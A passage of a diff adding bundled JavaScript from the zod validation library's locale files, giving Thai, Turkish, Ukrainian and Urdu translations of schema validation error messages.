string: { unit: "\u0E15\u0E31\u0E27\u0E2D\u0E31\u0E01\u0E29\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + file: { unit: "\u0E44\u0E1A\u0E15\u0E4C", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + array: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" }, + set: { unit: "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23", verb: "\u0E04\u0E27\u0E23\u0E21\u0E35" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19", + email: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48\u0E2D\u0E35\u0E40\u0E21\u0E25", + url: "URL", + emoji: "\u0E2D\u0E34\u0E42\u0E21\u0E08\u0E34", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0E27\u0E31\u0E19\u0E17\u0E35\u0E48\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", + date: "\u0E27\u0E31\u0E19\u0E17\u0E35\u0E48\u0E41\u0E1A\u0E1A ISO", + time: "\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", + duration: "\u0E0A\u0E48\u0E27\u0E07\u0E40\u0E27\u0E25\u0E32\u0E41\u0E1A\u0E1A ISO", + ipv4: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv4", + ipv6: "\u0E17\u0E35\u0E48\u0E2D\u0E22\u0E39\u0E48 IPv6", + cidrv4: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv4", + cidrv6: "\u0E0A\u0E48\u0E27\u0E07 IP \u0E41\u0E1A\u0E1A IPv6", + base64: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64", + base64url: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A Base64 \u0E2A\u0E33\u0E2B\u0E23\u0E31\u0E1A URL", + json_string: "\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E41\u0E1A\u0E1A JSON", + e164: "\u0E40\u0E1A\u0E2D\u0E23\u0E4C\u0E42\u0E17\u0E23\u0E28\u0E31\u0E1E\u0E17\u0E4C\u0E23\u0E30\u0E2B\u0E27\u0E48\u0E32\u0E07\u0E1B\u0E23\u0E30\u0E40\u0E17\u0E28 (E.164)", + jwt: "\u0E42\u0E17\u0E40\u0E04\u0E19 JWT", + template_literal: "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E17\u0E35\u0E48\u0E1B\u0E49\u0E2D\u0E19" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0E15\u0E31\u0E27\u0E40\u0E25\u0E02", + array: "\u0E2D\u0E32\u0E23\u0E4C\u0E40\u0E23\u0E22\u0E4C (Array)", + null: "\u0E44\u0E21\u0E48\u0E21\u0E35\u0E04\u0E48\u0E32 (null)" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u0E1B\u0E23\u0E30\u0E40\u0E20\u0E17\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E04\u0E27\u0E23\u0E40\u0E1B\u0E47\u0E19 instanceof ${issue2.expected} \u0E41\u0E15\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A ${received}`; + } + return `\u0E1B\u0E23\u0E30\u0E40\u0E20\u0E17\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E04\u0E27\u0E23\u0E40\u0E1B\u0E47\u0E19 ${expected} \u0E41\u0E15\u0E48\u0E44\u0E14\u0E49\u0E23\u0E31\u0E1A ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0E04\u0E48\u0E32\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E04\u0E27\u0E23\u0E40\u0E1B\u0E47\u0E19 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0E15\u0E31\u0E27\u0E40\u0E25\u0E37\u0E2D\u0E01\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E04\u0E27\u0E23\u0E40\u0E1B\u0E47\u0E19\u0E2B\u0E19\u0E36\u0E48\u0E07\u0E43\u0E19 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "\u0E44\u0E21\u0E48\u0E40\u0E01\u0E34\u0E19" : "\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0E40\u0E01\u0E34\u0E19\u0E01\u0E33\u0E2B\u0E19\u0E14: ${issue2.origin ?? "\u0E04\u0E48\u0E32"} \u0E04\u0E27\u0E23\u0E21\u0E35${adj} ${issue2.maximum.toString()} ${sizing.unit ?? "\u0E23\u0E32\u0E22\u0E01\u0E32\u0E23"}`; + return `\u0E40\u0E01\u0E34\u0E19\u0E01\u0E33\u0E2B\u0E19\u0E14: ${issue2.origin ?? "\u0E04\u0E48\u0E32"} \u0E04\u0E27\u0E23\u0E21\u0E35${adj} ${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? "\u0E2D\u0E22\u0E48\u0E32\u0E07\u0E19\u0E49\u0E2D\u0E22" : "\u0E21\u0E32\u0E01\u0E01\u0E27\u0E48\u0E32"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E01\u0E33\u0E2B\u0E19\u0E14: ${issue2.origin} \u0E04\u0E27\u0E23\u0E21\u0E35${adj} ${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0E19\u0E49\u0E2D\u0E22\u0E01\u0E27\u0E48\u0E32\u0E01\u0E33\u0E2B\u0E19\u0E14: ${issue2.origin} \u0E04\u0E27\u0E23\u0E21\u0E35${adj} ${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E15\u0E49\u0E2D\u0E07\u0E02\u0E36\u0E49\u0E19\u0E15\u0E49\u0E19\u0E14\u0E49\u0E27\u0E22 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E15\u0E49\u0E2D\u0E07\u0E25\u0E07\u0E17\u0E49\u0E32\u0E22\u0E14\u0E49\u0E27\u0E22 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21\u0E15\u0E49\u0E2D\u0E07\u0E21\u0E35 "${_issue.includes}" \u0E2D\u0E22\u0E39\u0E48\u0E43\u0E19\u0E02\u0E49\u0E2D\u0E04\u0E27\u0E32\u0E21`; + if (_issue.format === "regex") + return `\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E15\u0E49\u0E2D\u0E07\u0E15\u0E23\u0E07\u0E01\u0E31\u0E1A\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E17\u0E35\u0E48\u0E01\u0E33\u0E2B\u0E19\u0E14 ${_issue.pattern}`; + return `\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0E15\u0E31\u0E27\u0E40\u0E25\u0E02\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E15\u0E49\u0E2D\u0E07\u0E40\u0E1B\u0E47\u0E19\u0E08\u0E33\u0E19\u0E27\u0E19\u0E17\u0E35\u0E48\u0E2B\u0E32\u0E23\u0E14\u0E49\u0E27\u0E22 ${issue2.divisor} \u0E44\u0E14\u0E49\u0E25\u0E07\u0E15\u0E31\u0E27`; + case "unrecognized_keys": + return `\u0E1E\u0E1A\u0E04\u0E35\u0E22\u0E4C\u0E17\u0E35\u0E48\u0E44\u0E21\u0E48\u0E23\u0E39\u0E49\u0E08\u0E31\u0E01: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u0E04\u0E35\u0E22\u0E4C\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07\u0E43\u0E19 ${issue2.origin}`; + case "invalid_union": + return "\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07: \u0E44\u0E21\u0E48\u0E15\u0E23\u0E07\u0E01\u0E31\u0E1A\u0E23\u0E39\u0E1B\u0E41\u0E1A\u0E1A\u0E22\u0E39\u0E40\u0E19\u0E35\u0E22\u0E19\u0E17\u0E35\u0E48\u0E01\u0E33\u0E2B\u0E19\u0E14\u0E44\u0E27\u0E49"; + case "invalid_element": + return `\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07\u0E43\u0E19 ${issue2.origin}`; + default: + return `\u0E02\u0E49\u0E2D\u0E21\u0E39\u0E25\u0E44\u0E21\u0E48\u0E16\u0E39\u0E01\u0E15\u0E49\u0E2D\u0E07`; + } + }; +}; +function th_default() { + return { + localeError: error42() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/tr.js +var error43 = () => { + const Sizable = { + string: { unit: "karakter", verb: "olmal\u0131" }, + file: { unit: "bayt", verb: "olmal\u0131" }, + array: { unit: "\xF6\u011Fe", verb: "olmal\u0131" }, + set: { unit: "\xF6\u011Fe", verb: "olmal\u0131" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "girdi", + email: "e-posta adresi", + url: "URL", + emoji: "emoji", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "ISO tarih ve saat", + date: "ISO tarih", + time: "ISO saat", + duration: "ISO s\xFCre", + ipv4: "IPv4 adresi", + ipv6: "IPv6 adresi", + cidrv4: "IPv4 aral\u0131\u011F\u0131", + cidrv6: "IPv6 aral\u0131\u011F\u0131", + base64: "base64 ile \u015Fifrelenmi\u015F metin", + base64url: "base64url ile \u015Fifrelenmi\u015F metin", + json_string: "JSON dizesi", + e164: "E.164 say\u0131s\u0131", + jwt: "JWT", + template_literal: "\u015Eablon dizesi" + }; + const TypeDictionary = { + nan: "NaN" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `Ge\xE7ersiz de\u011Fer: beklenen instanceof ${issue2.expected}, al\u0131nan ${received}`; + } + return `Ge\xE7ersiz de\u011Fer: beklenen ${expected}, al\u0131nan ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `Ge\xE7ersiz de\u011Fer: beklenen ${stringifyPrimitive(issue2.values[0])}`; + return `Ge\xE7ersiz se\xE7enek: a\u015Fa\u011F\u0131dakilerden biri olmal\u0131: ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\xC7ok b\xFCy\xFCk: beklenen ${issue2.origin ?? "de\u011Fer"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\xF6\u011Fe"}`; + return `\xC7ok b\xFCy\xFCk: beklenen ${issue2.origin ?? "de\u011Fer"} ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\xC7ok k\xFC\xE7\xFCk: beklenen ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + return `\xC7ok k\xFC\xE7\xFCk: beklenen ${issue2.origin} ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `Ge\xE7ersiz metin: "${_issue.prefix}" ile ba\u015Flamal\u0131`; + if (_issue.format === "ends_with") + return `Ge\xE7ersiz metin: "${_issue.suffix}" ile bitmeli`; + if (_issue.format === "includes") + return `Ge\xE7ersiz metin: "${_issue.includes}" i\xE7ermeli`; + if (_issue.format === "regex") + return `Ge\xE7ersiz metin: ${_issue.pattern} desenine uymal\u0131`; + return `Ge\xE7ersiz ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `Ge\xE7ersiz say\u0131: ${issue2.divisor} ile tam b\xF6l\xFCnebilmeli`; + case "unrecognized_keys": + return `Tan\u0131nmayan anahtar${issue2.keys.length > 1 ? "lar" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} i\xE7inde ge\xE7ersiz anahtar`; + case "invalid_union": + return "Ge\xE7ersiz de\u011Fer"; + case "invalid_element": + return `${issue2.origin} i\xE7inde ge\xE7ersiz de\u011Fer`; + default: + return `Ge\xE7ersiz de\u011Fer`; + } + }; +}; +function tr_default() { + return { + localeError: error43() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/uk.js +var error44 = () => { + const Sizable = { + string: { unit: "\u0441\u0438\u043C\u0432\u043E\u043B\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + file: { unit: "\u0431\u0430\u0439\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + array: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" }, + set: { unit: "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432", verb: "\u043C\u0430\u0442\u0438\u043C\u0435" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456", + email: "\u0430\u0434\u0440\u0435\u0441\u0430 \u0435\u043B\u0435\u043A\u0442\u0440\u043E\u043D\u043D\u043E\u0457 \u043F\u043E\u0448\u0442\u0438", + url: "URL", + emoji: "\u0435\u043C\u043E\u0434\u0437\u0456", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0434\u0430\u0442\u0430 \u0442\u0430 \u0447\u0430\u0441 ISO", + date: "\u0434\u0430\u0442\u0430 ISO", + time: "\u0447\u0430\u0441 ISO", + duration: "\u0442\u0440\u0438\u0432\u0430\u043B\u0456\u0441\u0442\u044C ISO", + ipv4: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv4", + ipv6: "\u0430\u0434\u0440\u0435\u0441\u0430 IPv6", + cidrv4: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv4", + cidrv6: "\u0434\u0456\u0430\u043F\u0430\u0437\u043E\u043D IPv6", + base64: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64", + base64url: "\u0440\u044F\u0434\u043E\u043A \u0443 \u043A\u043E\u0434\u0443\u0432\u0430\u043D\u043D\u0456 base64url", + json_string: "\u0440\u044F\u0434\u043E\u043A JSON", + e164: "\u043D\u043E\u043C\u0435\u0440 E.164", + jwt: "JWT", + template_literal: "\u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0447\u0438\u0441\u043B\u043E", + array: "\u043C\u0430\u0441\u0438\u0432" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0456 \u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F instanceof ${issue2.expected}, \u043E\u0442\u0440\u0438\u043C\u0430\u043D\u043E ${received}`; + } + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0456 \u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F ${expected}, \u043E\u0442\u0440\u0438\u043C\u0430\u043D\u043E ${received}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0456 \u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F ${stringifyPrimitive(issue2.values[0])}`; + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0430 \u043E\u043F\u0446\u0456\u044F: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F \u043E\u0434\u043D\u0435 \u0437 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0417\u0430\u043D\u0430\u0434\u0442\u043E \u0432\u0435\u043B\u0438\u043A\u0435: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F, \u0449\u043E ${issue2.origin ?? "\u0437\u043D\u0430\u0447\u0435\u043D\u043D\u044F"} ${sizing.verb} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0435\u043B\u0435\u043C\u0435\u043D\u0442\u0456\u0432"}`; + return `\u0417\u0430\u043D\u0430\u0434\u0442\u043E \u0432\u0435\u043B\u0438\u043A\u0435: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F, \u0449\u043E ${issue2.origin ?? "\u0437\u043D\u0430\u0447\u0435\u043D\u043D\u044F"} \u0431\u0443\u0434\u0435 ${adj}${issue2.maximum.toString()}`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0417\u0430\u043D\u0430\u0434\u0442\u043E \u043C\u0430\u043B\u0435: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F, \u0449\u043E ${issue2.origin} ${sizing.verb} ${adj}${issue2.minimum.toString()} ${sizing.unit}`; + } + return `\u0417\u0430\u043D\u0430\u0434\u0442\u043E \u043C\u0430\u043B\u0435: \u043E\u0447\u0456\u043A\u0443\u0454\u0442\u044C\u0441\u044F, \u0449\u043E ${issue2.origin} \u0431\u0443\u0434\u0435 ${adj}${issue2.minimum.toString()}`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0438\u0439 \u0440\u044F\u0434\u043E\u043A: \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u043F\u043E\u0447\u0438\u043D\u0430\u0442\u0438\u0441\u044F \u0437 "${_issue.prefix}"`; + if (_issue.format === "ends_with") + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0438\u0439 \u0440\u044F\u0434\u043E\u043A: \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u0437\u0430\u043A\u0456\u043D\u0447\u0443\u0432\u0430\u0442\u0438\u0441\u044F \u043D\u0430 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0438\u0439 \u0440\u044F\u0434\u043E\u043A: \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u043C\u0456\u0441\u0442\u0438\u0442\u0438 "${_issue.includes}"`; + if (_issue.format === "regex") + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0438\u0439 \u0440\u044F\u0434\u043E\u043A: \u043F\u043E\u0432\u0438\u043D\u0435\u043D \u0432\u0456\u0434\u043F\u043E\u0432\u0456\u0434\u0430\u0442\u0438 \u0448\u0430\u0431\u043B\u043E\u043D\u0443 ${_issue.pattern}`; + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0438\u0439 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0435 \u0447\u0438\u0441\u043B\u043E: \u043F\u043E\u0432\u0438\u043D\u043D\u043E \u0431\u0443\u0442\u0438 \u043A\u0440\u0430\u0442\u043D\u0438\u043C ${issue2.divisor}`; + case "unrecognized_keys": + return `\u041D\u0435\u0440\u043E\u0437\u043F\u0456\u0437\u043D\u0430\u043D\u0438\u0439 \u043A\u043B\u044E\u0447${issue2.keys.length > 1 ? "\u0456" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0438\u0439 \u043A\u043B\u044E\u0447 \u0443 ${issue2.origin}`; + case "invalid_union": + return "\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0456 \u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456"; + case "invalid_element": + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0435 \u0437\u043D\u0430\u0447\u0435\u043D\u043D\u044F \u0443 ${issue2.origin}`; + default: + return `\u041D\u0435\u043F\u0440\u0430\u0432\u0438\u043B\u044C\u043D\u0456 \u0432\u0445\u0456\u0434\u043D\u0456 \u0434\u0430\u043D\u0456`; + } + }; +}; +function uk_default() { + return { + localeError: error44() + }; +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ua.js +function ua_default() { + return uk_default(); +} + +// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/ur.js +var error45 = () => { + const Sizable = { + string: { unit: "\u062D\u0631\u0648\u0641", verb: "\u06C1\u0648\u0646\u0627" }, + file: { unit: "\u0628\u0627\u0626\u0679\u0633", verb: "\u06C1\u0648\u0646\u0627" }, + array: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" }, + set: { unit: "\u0622\u0626\u0679\u0645\u0632", verb: "\u06C1\u0648\u0646\u0627" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "\u0627\u0646 \u067E\u0679", + email: "\u0627\u06CC \u0645\u06CC\u0644 \u0627\u06CC\u0688\u0631\u06CC\u0633", + url: "\u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644", + emoji: "\u0627\u06CC\u0645\u0648\u062C\u06CC", + uuid: "\u06CC\u0648 \u06CC\u0648 \u0622\u0626\u06CC \u0688\u06CC", + uuidv4: "\u06CC\u0648 \u06CC\u0648 \u0622\u0626\u06CC \u0688\u06CC \u0648\u06CC 4", + uuidv6: "\u06CC\u0648 \u06CC\u0648 \u0622\u0626\u06CC \u0688\u06CC \u0648\u06CC 6", + nanoid: "\u0646\u06CC\u0646\u0648 \u0622\u0626\u06CC \u0688\u06CC", + guid: "\u062C\u06CC \u06CC\u0648 \u0622\u0626\u06CC \u0688\u06CC", + cuid: "\u0633\u06CC \u06CC\u0648 \u0622\u0626\u06CC \u0688\u06CC", + cuid2: "\u0633\u06CC \u06CC\u0648 \u0622\u0626\u06CC \u0688\u06CC 2", + ulid: "\u06CC\u0648 \u0627\u06CC\u0644 \u0622\u0626\u06CC \u0688\u06CC", + xid: "\u0627\u06CC\u06A9\u0633 \u0622\u0626\u06CC \u0688\u06CC", + ksuid: "\u06A9\u06D2 \u0627\u06CC\u0633 \u06CC\u0648 \u0622\u0626\u06CC \u0688\u06CC", + datetime: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0688\u06CC\u0679 \u0679\u0627\u0626\u0645", + date: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u062A\u0627\u0631\u06CC\u062E", + time: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0648\u0642\u062A", + duration: "\u0622\u0626\u06CC \u0627\u06CC\u0633 \u0627\u0648 \u0645\u062F\u062A", + ipv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0627\u06CC\u0688\u0631\u06CC\u0633", + ipv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0627\u06CC\u0688\u0631\u06CC\u0633", + cidrv4: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 4 \u0631\u06CC\u0646\u062C", + cidrv6: "\u0622\u0626\u06CC \u067E\u06CC \u0648\u06CC 6 \u0631\u06CC\u0646\u062C", + base64: "\u0628\u06CC\u0633 64 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", + base64url: "\u0628\u06CC\u0633 64 \u06CC\u0648 \u0622\u0631 \u0627\u06CC\u0644 \u0627\u0646 \u06A9\u0648\u0688\u0688 \u0633\u0679\u0631\u0646\u06AF", + json_string: "\u062C\u06D2 \u0627\u06CC\u0633 \u0627\u0648 \u0627\u06CC\u0646 \u0633\u0679\u0631\u0646\u06AF", + e164: "\u0627\u06CC 164 \u0646\u0645\u0628\u0631", + jwt: "\u062C\u06D2 \u0688\u0628\u0644\u06CC\u0648 \u0679\u06CC", + template_literal: "\u0627\u0646 \u067E\u0679" + }; + const TypeDictionary = { + nan: "NaN", + number: "\u0646\u0645\u0628\u0631", + array: "\u0622\u0631\u06D2", + null: "\u0646\u0644" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + if (/^[A-Z]/.test(issue2.expected)) { + return `\u063A\u0644\u0637 \u0627\u0646 \u067E\u0679: instanceof ${issue2.expected} \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u0627\u060C ${received} \u0645\u0648\u0635\u0648\u0644 \u06C1\u0648\u0627`; + } + return `\u063A\u0644\u0637 \u0627\u0646 \u067E\u0679: ${expected} \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u0627\u060C ${received} \u0645\u0648\u0635\u0648\u0644 \u06C1\u0648\u0627`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u063A\u0644\u0637 \u0627\u0646 \u067E\u0679: ${stringifyPrimitive(issue2.values[0])} \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u0627`; + return `\u063A\u0644\u0637 \u0622\u067E\u0634\u0646: ${joinValues(issue2.values, "|")} \u0645\u06CC\u06BA \u0633\u06D2 \u0627\u06CC\u06A9 \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u0627`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0628\u06C1\u062A \u0628\u0691\u0627: ${issue2.origin ?? "\u0648\u06CC\u0644\u06CC\u0648"} \u06A9\u06D2 ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u0639\u0646\u0627\u0635\u0631"} \u06C1\u0648\u0646\u06D2 \u0645\u062A\u0648\u0642\u0639 \u062A\u06BE\u06D2`; + return `\u0628\u06C1\u062A \u0628\u0691\u0627: ${issue2.origin ?? "\u0648\u06CC\u0644\u06CC\u0648"} \u06A9\u0627 ${adj}${issue2.maximum.toString()} 